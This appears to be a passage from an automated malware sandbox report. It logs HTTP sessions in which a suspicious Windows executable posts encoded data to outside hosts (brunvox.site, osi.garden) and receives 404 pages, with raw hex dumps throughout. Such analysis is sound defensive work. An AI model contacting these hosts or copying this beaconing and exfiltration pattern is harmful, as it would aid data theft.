6a 52 37 6c 55 4a 46 47 48 45 34 6d 4d 77 65 4b 42 6b 41 35 6e 61 48 63 37 5a 51 51 72 72 62 79 41 38 35 33 6b 56 56 4f 61 33 4f 67 6f 39 37 38 30 79 2f 43 52 36 33 2f 79 5a 72 6c 73 48 38 69 47 4c 4c 67 4f 34 50 53 63 76 78 6e 76 63 54 38 64 51 33 34 66 30 76 51 67 73 5a 63 49 41 37 59 34 39 31 4d 6f 78 45 62 49 6e 37 4d 78 35 63 63 30 6f 35 6a 61 70 49 35 51 67 6f 55 59 58 70 2b 79 78 43 2b 6f 47 78 52 32 66 30 53 46 4d 51 2f 2b 62 6a 6f 32 31 39 6a 75 69 72 69 2f 2b 38 6e 46 55 56 6c 77 4a 71 4f 39 32 69 2b 42 52 34 3d Data Ascii: Q2_4=gw2m3M8X73DGUXXSxgsNSwGjMB294JkrwzfF0g1vjR7lUJFGHE4mMweKBkA5naHc7ZQQrrbyA853kVVOa3Ogo9780y/CR63/yZrlsH8iGLLgO4PScvxnvcT8dQ34f0vQgsZcIA7Y491MoxEbIn7Mx5cc0o5japI5QgoUYXp+yxC+oGxR2f0SFMQ/+bjo219juiri/+8nFUVlwJqO92i+BR4=
Nov 5, 2024 15:35:30.185868025 CET	896	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:35:30 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49764	203.161.41.204	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:35:32.703387022 CET	2578	OUT	POST /3qrm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.brunvox.site Origin: http://www.brunvox.site Referer: http://www.brunvox.site/3qrm/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 67 77 32 6d 33 4d 38 58 37 33 44 47 55 58 58 53 78 67 73 4e 53 77 47 6a 4d 42 32 39 34 4a 6b 72 77 7a 66 46 30 67 31 76 6a 52 6a 6c 55 66 35 47 41 54 6b 6d 43 51 65 4b 64 30 41 34 6e 61 47 45 37 5a 59 4d 72 71 6e 45 41 2f 4e 33 6c 7a 5a 4f 64 47 4f 67 37 64 37 38 35 53 2f 42 4a 61 33 71 79 5a 62 68 73 48 73 69 47 4c 4c 67 4f 2b 72 53 61 2b 78 6e 74 63 54 6a 61 51 33 2f 49 6b 75 33 67 74 77 70 49 41 33 49 74 64 56 4d 70 56 59 62 4b 56 6a 4d 38 35 63 61 35 49 35 37 61 70 4d 63 51 67 30 70 59 58 4d 56 79 33 43 2b 6f 41 59 35 78 73 45 45 63 4d 51 45 6a 72 2b 65 77 58 6c 4e 6a 69 6a 31 78 4f 73 72 4f 69 5a 79 31 35 61 6d 70 55 57 76 66 33 2f 44 75 34 46 49 4e 4b 75 73 2b 4c 74 4c 4e 57 32 77 62 67 6f 4e 6b 59 4d 69 43 62 71 68 54 68 6d 31 65 4e 68 57 2b 4d 59 7a 4d 49 2b 73 46 6b 53 72 4b 59 58 52 4a 6c 62 69 6e 30 47 64 43 72 49 46 49 36 56 79 36 6b 58 34 68 39 57 47 46 6f 68 7a 47 36 41 66 32 49 34 44 59 51 48 61 6d 4c 74 6c 51 4b 7a 68 61 62 47 37 55 4a 39 46 38 6d 35 48 70 65 35 6e 76 [TRUNCATED] Data Ascii: Q2_4=gw2m3M8X73DGUXXSxgsNSwGjMB294JkrwzfF0g1vjRjlUf5GATkmCQeKd0A4naGE7ZYMrqnEA/N3lzZOdGOg7d785S/BJa3qyZbhsHsiGLLgO+rSa+xntcTjaQ3/Iku3gtwpIA3ItdVMpVYbKVjM85ca5I57apMcQg0pYXMVy3C+oAY5xsEEcMQEjr+ewXlNjij1xOsrOiZy15ampUWvf3/Du4FINKus+LtLNW2wbgoNkYMiCbqhThm1eNhW+MYzMI+sFkSrKYXRJlbin0GdCrIFI6Vy6kX4h9WGFohzG6Af2I4DYQHamLtlQKzhabG7UJ9F8m5Hpe5nvLX6s72vw/CvI9HsA2bFSy0Zqd/ghy6HCeMTKcrcT/JJ/fA5gCCYl6OniwykmFE8F/wC6Wb7OTw7qKVcXqt9M0Pbk68ElUk8NjBJfTT22MRVr+SecM+Kf5/y8EOtncHK2qvEhNNYKWGd2cceyV/hWpaOjcEj96yKeLZqjPHZ5Tur+J8B6dBXe23B5zD0WjeuDD9xtv51ABGRkNwD+R+X+ttHjWyMx9Ld6IRv3pZ5F3NfMnSUsihcsx9ZzpcWTrHF6dXPkGHmkrrdccF57VF5mluikZbK0XbzO71+ciTwyTmvHuZgWujfN1NqLqGcF81Ey3i3suLu3z/HuCor09lZePeZ2GQmSXRhdHkbQJWCNjrcP+oVFKQhl6sdArSy3UmMa+t7v57bSNZu4VB7SmXv6WB44G+ygqTpK8JdnFQfJjKWn5XqJzahFubLoVC+ZV48KLVf3ZVJMHiDXsAyUR9SRuY1fONxIFLLbISj7lNMKdrq3KoOXMDr7WAmuXwcB8NyxEuMoccQBobQcQRjGH2L/h5B+VAZ5G4X222pQqPqwwCurtlDHaQCGhbXuNbKVB7rLwc7x3VncVvlxS/ZGBpQmEBBD2cC3Dvt0GgAY19jYRPUi+Z8V3sS5v2Ew18uCSUvDR3phvKrU378nn9Z599gypekwO8yPDDJCZO [TRUNCATED]
Nov 5, 2024 15:35:32.703443050 CET	3867	OUT	Data Raw: 5a 56 76 41 45 38 36 75 63 38 57 69 75 50 42 4f 33 46 75 78 7a 45 5a 4d 69 51 47 54 58 4c 37 54 72 54 4d 53 6c 73 67 4c 72 56 4a 57 71 7a 50 6e 62 79 34 33 42 48 71 6c 37 32 76 6e 6f 2b 45 4f 43 2f 6f 71 53 58 46 58 54 79 33 6a 52 6a 63 38 4e 70 Data Ascii: ZVvAE86uc8WiuPBO3FuxzEZMiQGTXL7TrTMSlsgLrVJWqzPnby43BHql72vno+EOC/oqSXFXTy3jRjc8NpxwfuwWFtZphnX4JH9oXzxtjyTLruNqKeZl1oMYSwsogzKS9WaStS0Gn1gjewCggvgTfj+wpQ1cgsEceqodl1EzM7YVdUH7npWVskQzRDB8uhYzcXsXfDzpD/YgCZqSjz9cRrvM/YWw8GNbSzKqq/1u6pkUykoUDOM
Nov 5, 2024 15:35:32.703473091 CET	1447	OUT	Data Raw: 76 6e 78 30 36 52 6e 6f 67 4b 47 75 33 71 72 61 4a 6e 77 6f 69 6e 30 70 75 4a 4e 35 30 30 72 57 6b 4e 78 2b 76 72 4c 6e 57 50 51 6d 37 58 65 31 71 2b 51 79 43 65 49 65 52 33 48 35 6d 53 53 62 4f 4f 4a 33 75 68 46 30 30 55 77 53 45 69 6c 69 68 55 Data Ascii: vnx06RnogKGu3qraJnwoin0puJN500rWkNx+vrLnWPQm7Xe1q+QyCeIeR3H5mSSbOOJ3uhF00UwSEilihU643yREnRBaqL31xvVDiCAOGAcYfCoLWg1pPNkETL+T0BippY4hZYTDl26J8CVLyygu3uKLg0ieyWq6hAYD1Owdlu7KAjkbXQjQD0mOS1hoZsYhuVclBhlleHp7vFEdQhTfspWdSMW9w6FAZel+86D3TCrtsYWa+Am
Nov 5, 2024 15:35:32.898757935 CET	896	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:35:32 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49765	203.161.41.204	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:35:35.417129993 CET	456	OUT	GET /3qrm/?Q2_4=tyeG08MV0U64WH6unwcOXR2sJCf/xqZR+j/9sSFSjjXbCPJ8dUZ7AUStEW8oibqh5p8I6M3vE8IgylEGfxaCpffC+Ti1QKudju6yjlF7VN/fdeOaTvtkuuM=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.brunvox.site User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:35:35.603905916 CET	911	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:35:35 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49766	68.65.122.222	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:35:40.910063028 CET	717	OUT	POST /gqtu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.osi.garden Origin: http://www.osi.garden Referer: http://www.osi.garden/gqtu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 53 34 2b 42 32 4b 56 42 2f 45 2b 4c 4a 44 70 4b 59 67 43 35 4e 2f 6e 75 6f 76 66 44 75 38 46 48 34 6a 53 4b 6e 4d 50 72 75 78 6c 59 39 6d 36 77 33 77 74 65 66 6d 70 2f 62 65 63 45 6a 67 44 5a 68 4f 6a 57 36 7a 74 32 72 7a 4b 63 76 2f 70 7a 35 59 44 4b 4b 4e 46 59 64 6e 76 36 34 46 4c 78 77 4b 46 79 38 4f 37 69 61 77 67 6c 53 44 74 35 6d 4a 37 71 51 48 74 4c 67 49 35 51 42 43 34 45 75 4a 6b 4c 79 32 6a 48 58 6c 37 35 47 48 75 59 4d 56 59 54 44 55 53 78 59 2b 59 6b 76 67 43 6e 37 6e 78 44 31 57 2b 4d 55 64 59 76 71 78 62 68 52 2b 64 44 6f 38 34 4c 31 55 45 4c 70 6f 72 31 45 67 3d 3d Data Ascii: Q2_4=S4+B2KVB/E+LJDpKYgC5N/nuovfDu8FH4jSKnMPruxlY9m6w3wtefmp/becEjgDZhOjW6zt2rzKcv/pz5YDKKNFYdnv64FLxwKFy8O7iawglSDt5mJ7qQHtLgI5QBC4EuJkLy2jHXl75GHuYMVYTDUSxY+YkvgCn7nxD1W+MUdYvqxbhR+dDo84L1UELpor1Eg==
Nov 5, 2024 15:35:41.091934919 CET	1289	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 05 Nov 2024 14:35:41 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 12 78 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b fa ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f [TRUNCATED] Data Ascii: 1339Zrz_OAJw1xB$ RU85d)d{,T.7w~&K~mkiAco)(}Y}_poOw5kdNY{K0+,wR2Cz@We}5:\|@r<aBQ$JBj^CGU}J4\nU1z{'/CyVN%-#'I iA7re:#=12p(N45Hy?jqP:y~+8EYND)~:o5(oEU8hnN},}r:\>[#MwC=TEU>FWjzU;uSn&_.Sqz_JM~(7_E/SyXI>3UNe7A\q`IWhWZJ\|jV70?#GCE[3v8uMWxkp5gjq9_yW^?wkQ{9BdFo^uufl(Oj^UeY>PU#_)?M&F,?{O;Ido77yq,U}:*eLv9Q7MZ~AN]NSZUlA9W$\|-?]>'z:FF7/\|7?v/8]VR>t&$F/)"Keh<7ln< q [TRUNCATED]
Nov 5, 2024 15:35:41.092016935 CET	1289	IN	Data Raw: 0f 50 18 79 1e c8 3e 8e b8 5a 9f 2e 91 fd 9c d7 ef c7 bd 99 73 c0 bc 15 ed d3 55 64 18 f8 33 2b 3e 56 f9 1b c4 4b 25 fd 64 53 34 a0 bc 84 2f 73 bb 2f b8 81 f8 f3 59 7e 05 fa 3e d3 07 c2 d0 ae a3 f6 63 c6 fd 79 be 0f 7e 54 56 f5 bd 1b 46 89 f7 99 Data Ascii: Py>Z.sUd3+>VK%dS4/s/Y~>cy~TVF/0{]s HnzB}Y/@_y,0k"1Rlc#Wy$fj!fu{U%f>L1-0f*gP?)>_<v.e)o{#[dqKCb
Nov 5, 2024 15:35:41.092061043 CET	1289	IN	Data Raw: 50 02 2f ea 62 11 8c d6 d9 e1 9c 6e b8 bd 39 ae 85 3e 0e ad 8e 18 9d ce 84 c4 a7 e8 51 68 85 1d c3 8f db 89 bd 03 1b 56 0f b3 79 ac 9b 22 12 8d d5 49 c6 2f 90 b0 db b7 b3 72 94 46 da 5c 5a 3b 4b 81 22 fb 82 13 cb 84 36 e4 ed 7c 8b ed 63 02 66 31 Data Ascii: P/bn9>QhVy"I/rF\Z;K"6\|cf1QIB4S*-t"P=:$Y=]eL/H8hXcn7L0qNPXZ;Jn9`q,%neaWP.]>g_l7&wZAC/Hk-EPm-
Nov 5, 2024 15:35:41.092107058 CET	1289	IN	Data Raw: 57 61 6c 80 b9 47 b4 a3 71 a6 31 ae 3a 99 49 6d 3e 81 e1 de 6b 8b bc dd ce f9 82 5a f9 b9 d8 4b d5 01 3d 4d 61 b9 93 cc a6 1a 57 a9 15 d2 b2 64 89 72 37 ab 17 a7 71 a3 8e 34 80 74 6c 56 72 fd 32 63 9d 93 bc 5a 6c 62 9d ee 72 6e 7e 32 60 d8 33 d7 Data Ascii: WalGq1:Im>kZK=MaWdr7q4tlVr2cZlbrn~2`3U#]Ea/k}4FeN}N@YNJmLVSVt\nDOg>wNd9-zfx65D"rWg`"HEfSEd,h[X{/6C]s:{&nmLxlZN8d^d0Zl
Nov 5, 2024 15:35:41.092140913 CET	57	IN	Data Raw: d0 35 da 27 2e 7b 76 9b 73 e3 90 f7 f1 f5 88 5c 7b ed 11 79 5e a8 1e 2f df c3 fd f8 ed bf 01 00 00 ff ff 0d 0a 41 0d 0a 03 00 84 b2 e2 6d 6d 27 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 5'.{vs\{y^/Amm'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49767	68.65.122.222	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:35:43.622961998 CET	737	OUT	POST /gqtu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.osi.garden Origin: http://www.osi.garden Referer: http://www.osi.garden/gqtu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 53 34 2b 42 32 4b 56 42 2f 45 2b 4c 4a 6e 56 4b 5a 44 71 35 4c 66 6e 68 30 66 66 44 6e 63 46 44 34 6a 4f 4b 6e 4a 69 67 74 45 31 59 6b 44 47 77 30 31 42 65 54 47 70 2f 44 4f 63 42 74 41 44 53 68 4f 65 31 36 32 56 32 72 7a 75 63 76 2b 5a 7a 35 76 76 4c 49 64 46 61 52 48 76 34 38 46 4c 78 77 4b 46 79 38 4f 65 48 61 30 45 6c 54 7a 39 35 30 37 44 70 54 48 74 49 6e 49 35 51 46 43 35 4e 75 4a 6b 31 79 7a 44 2b 58 6d 54 35 47 48 65 59 43 67 73 51 4a 55 54 36 48 75 5a 72 72 52 54 39 38 6d 31 54 6c 78 43 35 64 50 45 41 72 6e 4b 37 4d 4d 70 6e 72 76 6b 35 78 6b 39 6a 72 71 71 75 5a 6c 52 2f 77 4d 76 41 79 35 32 4a 47 6a 46 61 71 32 30 55 38 53 51 3d Data Ascii: Q2_4=S4+B2KVB/E+LJnVKZDq5Lfnh0ffDncFD4jOKnJigtE1YkDGw01BeTGp/DOcBtADShOe162V2rzucv+Zz5vvLIdFaRHv48FLxwKFy8OeHa0ElTz9507DpTHtInI5QFC5NuJk1yzD+XmT5GHeYCgsQJUT6HuZrrRT98m1TlxC5dPEArnK7MMpnrvk5xk9jrqquZlR/wMvAy52JGjFaq20U8SQ=
Nov 5, 2024 15:35:43.803977966 CET	1289	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 05 Nov 2024 14:35:43 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 12 78 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b fa ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f [TRUNCATED] Data Ascii: 1339Zrz_OAJw1xB$ RU85d)d{,T.7w~&K~mkiAco)(}Y}_poOw5kdNY{K0+,wR2Cz@We}5:\|@r<aBQ$JBj^CGU}J4\nU1z{'/CyVN%-#'I iA7re:#=12p(N45Hy?jqP:y~+8EYND)~:o5(oEU8hnN},}r:\>[#MwC=TEU>FWjzU;uSn&_.Sqz_JM~(7_E/SyXI>3UNe7A\q`IWhWZJ\|jV70?#GCE[3v8uMWxkp5gjq9_yW^?wkQ{9BdFo^uufl(Oj^UeY>PU#_)?M&F,?{O;Ido77yq,U}:*eLv9Q7MZ~AN]NSZUlA9W$\|-?]>'z:FF7/\|7?v/8]VR>t&$F/)"Keh<7ln< q [TRUNCATED]
Nov 5, 2024 15:35:43.804078102 CET	1289	IN	Data Raw: 0f 50 18 79 1e c8 3e 8e b8 5a 9f 2e 91 fd 9c d7 ef c7 bd 99 73 c0 bc 15 ed d3 55 64 18 f8 33 2b 3e 56 f9 1b c4 4b 25 fd 64 53 34 a0 bc 84 2f 73 bb 2f b8 81 f8 f3 59 7e 05 fa 3e d3 07 c2 d0 ae a3 f6 63 c6 fd 79 be 0f 7e 54 56 f5 bd 1b 46 89 f7 99 Data Ascii: Py>Z.sUd3+>VK%dS4/s/Y~>cy~TVF/0{]s HnzB}Y/@_y,0k"1Rlc#Wy$fj!fu{U%f>L1-0f*gP?)>_<v.e)o{#[dqKCb
Nov 5, 2024 15:35:43.804094076 CET	1289	IN	Data Raw: 50 02 2f ea 62 11 8c d6 d9 e1 9c 6e b8 bd 39 ae 85 3e 0e ad 8e 18 9d ce 84 c4 a7 e8 51 68 85 1d c3 8f db 89 bd 03 1b 56 0f b3 79 ac 9b 22 12 8d d5 49 c6 2f 90 b0 db b7 b3 72 94 46 da 5c 5a 3b 4b 81 22 fb 82 13 cb 84 36 e4 ed 7c 8b ed 63 02 66 31 Data Ascii: P/bn9>QhVy"I/rF\Z;K"6\|cf1QIB4S*-t"P=:$Y=]eL/H8hXcn7L0qNPXZ;Jn9`q,%neaWP.]>g_l7&wZAC/Hk-EPm-
